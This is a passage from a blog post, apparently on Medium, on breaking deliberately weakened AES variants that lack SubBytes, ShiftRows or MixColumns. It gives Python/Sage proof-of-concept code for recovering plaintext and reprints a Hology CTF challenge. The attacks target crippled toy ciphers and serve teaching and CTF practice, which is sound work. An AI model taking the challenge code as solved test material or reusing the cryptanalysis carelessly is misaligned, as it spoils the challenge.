*<br>from aes import AES<br>import os<br>do_nothing = lambda *x: None<br><br>def bytes2mat(b):<br>    a = []<br>    for i in b:<br>        tmp = bin(i)[2:].zfill(8)<br>        for j in tmp:<br>            a.append(int(j))<br>    return Matrix(GF(2), a)<br><br>def mat2bytes(m):<br>    a = &quot;&quot;<br>    for i in range(128):<br>        a += str(m[0, i])<br>    a = [a[i:i+8] for i in range(0, 128, 8)]<br>    a = [int(i, 2) for i in a]<br>    return bytes(a)<br><br>I = identity_matrix(GF(2), 8)<br>X = Matrix(GF(2), 8, 8)<br>for i in range(7):<br>    X[i, i+1] = 1<br>X[3, 0] = 1<br>X[4, 0] = 1<br>X[6, 0] = 1<br>X[7, 0] = 1<br><br>C = block_matrix([<br>    [X, X+I, I, I],<br>    [I, X, X+I, I],<br>    [I, I, X, X+I],<br>    [X+I, I, I, X]<br>])<br><br>zeros = Matrix(GF(2), 8, 8)<br>zeros2 = Matrix(GF(2), 32, 32)<br>o0 = block_matrix([<br>    [I, zeros, zeros, zeros],<br>    [zeros, zeros, zeros, zeros],<br>    [zeros, zeros, zeros, zeros],<br>    [zeros, zeros, zeros, zeros]<br>])<br><br>o1 = block_matrix([<br>    [zeros, zeros, zeros, zeros],<br>    [zeros, I, zeros, zeros],<br>    [zeros, zeros, zeros, zeros],<br>    [zeros, zeros, zeros, zeros]<br>])<br><br>o2 = block_matrix([<br>    [zeros, zeros, zeros, zeros],<br>    [zeros, zeros, zeros, zeros],<br>    [zeros, zeros, I, zeros],<br>    [zeros, zeros, zeros, zeros]<br>])<br><br>o3 = block_matrix([<br>    [zeros, zeros, zeros, zeros],<br>    [zeros, zeros, zeros, zeros],<br>    [zeros, zeros, zeros, zeros],<br>    [zeros, zeros, zeros, I]<br>])<br><br>S = block_matrix([<br>    [o0, o1, o2, o3],<br>    [o3, o0, o1, o2],<br>    [o2, o3, o0, o1],<br>    [o1, o2, o3, o0]<br>])<br><br>M = block_matrix([<br>    [C, zeros2, zeros2, zeros2],<br>    [zeros2, C, zeros2, zeros2],<br>    [zeros2, zeros2, C, zeros2],<br>    [zeros2, zeros2, zeros2, C]<br>])<br><br>R = M*S<br>A = S*(R**9) # sorry for the inconsistency in the variable name, this is supposed to be SA^9 that I talked about<br><br>c = AES(os.urandom(16))<br>c._sub_bytes = do_nothing<br>p = b&quot;Very secret text&quot;<br>ct = c.encrypt(p)<br>p2 = b&quot;Known plaintextt&quot;<br>ct2 = c.encrypt(p2)<br><br>p2 = bytes2mat(p2).transpose()<br>ct2 = bytes2mat(ct2).transpose()<br><br>K = ct2 - A*p2<br>recovered_plaintext = mat2bytes((A.inverse() * (bytes2mat(ct).transpose() - K)).transpose())<br>print(recovered_plaintext)</pre><p>As you can see, with only a single plaintext-ciphertext pair (p2-ct2), we are able to recover another plaintext given only their ciphertext.</p><h3>Nerfed AES 3: AES Without ShiftRows</h3><p>Take a look at this image (from Wikipedia)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8x3DOPRuBP76LRWVZwf52w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1efaw7WHWiC-lcZUUameDw.png" /></figure><p>As you can see, ShiftRows… well, shift rows, while MixColumns mixes columns, so if there is no ShiftRows, then each column will not interact with each other, that is a change in one column will not affect the output of the other column, so we can treat a single block of text as a 4 separate blocks!</p><p>Here is a quick PoC</p><pre>from aes import AES<br>import os<br>do_nothing = lambda *x: None<br>c = AES(os.urandom(16))<br>c._shift_rows = do_nothing<br>p1 = b&quot;A&quot;*4 + b&quot;B&quot;*12<br>c1 = c.encrypt(p1)<br>print(c1.hex())<br><br>p2 = b&quot;A&quot;*4 + b&quot;C&quot;*12<br>c2 = c.encrypt(p2)<br>print(c2.hex())<br># 8badc0d82d94b3be32287566848507c0<br># 8badc0d8aeb319f02b18448aa827d433</pre><p>As you can see, the first 4 bytes were 8badc0d8 for both ciphertext, even though the rest of the block has been changed.</p><p>Although we can treat this as 4 block of 4 bytes each, we still need around 256⁴ ciphertext pair to recover the plaintext, however, it’s still worth noting that there can be a situation where this attack is feasible, such as if the plaintext only contains a repeated bytes (e.g AAAABBBBCCCCDDDD), we can create some sort of lookup table by encrypting AAAAAAAAAAAAAAAA, BBBBBBBBBBBBBBBB, CCCCCCCCCCCCCCCC, and so on, this only requires 256 plaintext-ciphertext pair</p><h3>Nerfed AES 4: AES Without MixColumns</h3><p>A good thing about MixColumns is that it combines multiple bytes to create a new set of bytes, so it’s not only transposition, but also contains some sort of combinations between the bytes.</p><p>When MixColumns is gone, the entire plaintext will now be treated separately, this is even worse than ShiftRows, because we can now divide a single block of 16 bytes into 16 SEPARATE BLOCK, that is every byte is independent and are not affected by any other byte.</p><p>Figuring out the relation of the plaintext and the ciphertext due to ShiftRows is not that hard, it has quite a pattern actually, here is the diagram that I draw to showcase the pattern:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Z8NJVcjHyYn7ZG9efksIg.png" /></figure><p>As you can see, one byte of plaintext is responsible for another byte of the ciphertext, this means changing any other byte of the plaintext will not affect the outcome of the other byte of the ciphertext</p><p>For example if we have this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OufjiJkAZ2O0ben_ESBHzA.png" /></figure><p>Changing one byte will not affect the other</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dnRSh1mfm34KKcVXGC1Gpw.png" /></figure><p>Here is some quick PoC</p><pre>from aes import AES<br>import os<br>relation = [0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 5, 14, 7]<br>c = AES(os.urandom(16))<br>c._mix_columns = lambda *x: None<br>pt = b&quot;Very secret text&quot;<br>ct = c.encrypt(pt)<br><br>lookup = [{} for _ in range(16)]<br>for i in range(256):<br>    ptest = bytes([i]*16)<br>    ctest = c.encrypt(ptest)<br>    for j in range(16):<br>        lookup[j][ctest[j]] = i<br><br>recovered = [&quot;??&quot; for _ in range(16)]<br>for i in range(16):<br>    recovered[i] = lookup[relation[i]][ct[relation[i]]]<br><br>print(&quot;&quot;.join([chr(i) for i in recovered]))</pre><p>And there you have it, We can now exploit AES without any one of it’s operations!</p><p>As a bonus, I was playing Hology, an Indonesian CTF the other day and I stumbled upon this challenge:</p><pre>import os<br>from aes import AES<br><br># A function that does nothing<br>no_op = lambda *x: None<br><br>def main():    <br>    k = os.urandom(16)<br>    c = AES(k)<br>    s = b&#39;&#39;.join(k[i:i+1]*4 for i in range(16))<br><br>    flag = os.environ.get(&#39;FLAG&#39;, &#39;Hology6{***********************MISSING*************************}&#39;).encode()<br>    assert len(flag) == 64<br><br>    flag = b&#39;&#39;.join([c.encrypt(flag[i:i+16]) for i in range(0, 64, 16)])<br>    print(f&#39;Here is encrypted flag: {flag.hex()}.&#39;)<br><br>    opts = [&#39;sb&#39;, &#39;sr&#39;, &#39;mc&#39;, &#39;ark&#39;]<br>    sopts = [&#39;data&#39;, &#39;secret&#39;]<br>    <br>    for _ in range(128):<br>        [opt, suboption, *more] = input(&#39;&gt; &#39;).split(&#39; &#39;)<br>        if opt not in opts: raise Exception(&#39;invalid option!&#39;)<br>        if suboption not in sopts: raise Exception(&#39;invalid suboption!&#39;)<br>        <br>        if suboption == &#39;secret&#39;:<br>            opts.remove(opt)<br>            msg = s<br>        else:<br>            msg = bytes.fromhex(more[0])<br>            if len(msg) != 16: raise Exception(&#39;invalid length!&#39;)<br>            msg = msg * 4<br><br>        if opt == &#39;sb&#39;:<br>            c = AES(k)<br>            c._sub_bytes = no_op<br>            ct = c.encrypt(msg[0:16])<br><br>        elif opt == &#39;sr&#39;:<br>            c = AES(k)<br>            c._shift_rows = no_op<br>            ct = c.encrypt(msg[16:32])<br><br>        elif opt == &#39;mc&#39;:<br>            c = AES(k)<br>            c._mix_columns = no_op<br>            ct = c.encrypt(msg[32:48])<br><br>        elif opt == &#39;ark&#39;:<br>            c = AES(k)<br>            c._add_round_key = no_op<br>            ct = c.encrypt(msg[48:64])<br><br>        print(ct.hex())<br><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><p>Can you figure this out? I will probably make a separate post to talk about this challenge.</p><p>References and further reading:</p><ul><li><a href="https://crypto.stackexchange.com/questions/20228/consequences-of-aes-without-any-one-of-its-operations">Consequences of AES without any one of its operations</a></li><li><a href="https://crypto.stackexchange.com/questions/89596/linear-aes-expression-of-k-in-aesp-apk/89607#89607">Linear AES : expression of K in AES(P) = AP+K</a></li><li><a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard#">Advanced Encryption Standard - Wikipedia</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c42cdfc0452f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>